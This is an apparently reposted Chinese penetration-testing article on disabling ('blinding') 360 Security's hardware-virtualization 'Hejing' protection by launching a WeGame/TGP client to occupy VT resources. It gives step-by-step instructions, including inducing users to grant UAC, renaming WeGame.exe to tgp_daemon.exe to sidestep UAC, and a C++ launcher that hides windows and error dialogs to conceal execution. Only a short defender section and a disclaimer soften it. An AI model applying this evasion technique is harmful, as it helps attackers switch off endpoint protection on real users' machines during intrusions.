利用lolbin致盲360核晶
字数 900 2025-08-18 11:35:59
绕过360核晶防护的致盲技术详解
背景介绍
360安全卫士的"核晶"防护是一种基于硬件虚拟化技术(VT)的高级防护机制,在渗透测试过程中经常会遇到该防护拦截后渗透行为的问题。本文介绍一种有效的绕过技术,能够致盲360核晶防护。
技术原理
核晶防护的工作机制
360核晶防护利用Intel VT-x或AMD-V硬件虚拟化技术,在Ring -1层级运行安全监控程序,能够检测和拦截许多恶意行为。要绕过这种防护,需要干扰或禁用其VT功能。
致盲技术核心思路
通过启动特定的可信进程(如WeGame/TGP客户端)来占用VT资源,导致360核晶无法正常初始化其虚拟化防护,从而达到致盲效果。
详细实施步骤
基础方法(需要UAC权限)
-
准备阶段:
- 确认目标系统已安装WeGame或TGP客户端
- 获取管理员权限或诱导用户授予UAC权限
-
执行方法:
- 直接启动WeGame.exe进程
- 该进程会占用VT资源,导致360核晶初始化失败
进阶方法(无需UAC权限)
当无法直接获取UAC权限时,可采用以下技巧:
-
重命名技巧:
- 将WeGame.exe重命名为tgp_daemon.exe
- 通过批处理文件启动重命名后的可执行文件
- 这种方法可以绕过部分防御机制
-
隐蔽启动技术:
使用C++编写启动器程序,隐藏所有执行痕迹:
#include <windows.h>
int main() {
// 隐藏错误对话框
SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX);
// 创建进程参数
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 无窗口创建进程
CreateProcess(
"tgp_daemon.exe", // 可执行文件名
NULL, // 命令行参数
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 句柄继承选项
CREATE_NO_WINDOW, // 创建标志
NULL, // 环境块
NULL, // 当前目录
&si, // 启动信息
&pi // 进程信息
);
// 隐藏进程窗口
ShowWindow((HWND)pi.hProcess, SW_HIDE);
return 0;
}
技术优势
- 无需UAC权限:相比传统方法不需要用户点击授权
- 无需断链操作:简化了绕过流程
- 隐蔽性强:通过代码隐藏了所有执行痕迹和错误提示
- 兼容性好:适用于多种环境配置
注意事项
- 目标系统必须安装WeGame或TGP客户端
- 执行过程中可能会因DLL缺失导致报错,但不会影响最终效果
- 不同版本的360安全卫士可能需要调整技术细节
- 该方法仅用于合法渗透测试和研究目的
防御建议(针对防御方)
- 监控关键进程的异常启动行为
- 加强对系统VT资源的状态检查
- 实施进程完整性验证
- 对WeGame/TGP等可信进程的异常行为进行检测
总结
这种致盲技术通过利用可信进程占用硬件虚拟化资源的方式,有效绕过了360核晶防护,具有操作简单、无需UAC、隐蔽性强等特点,是渗透测试中对抗高级防护的一种实用技巧。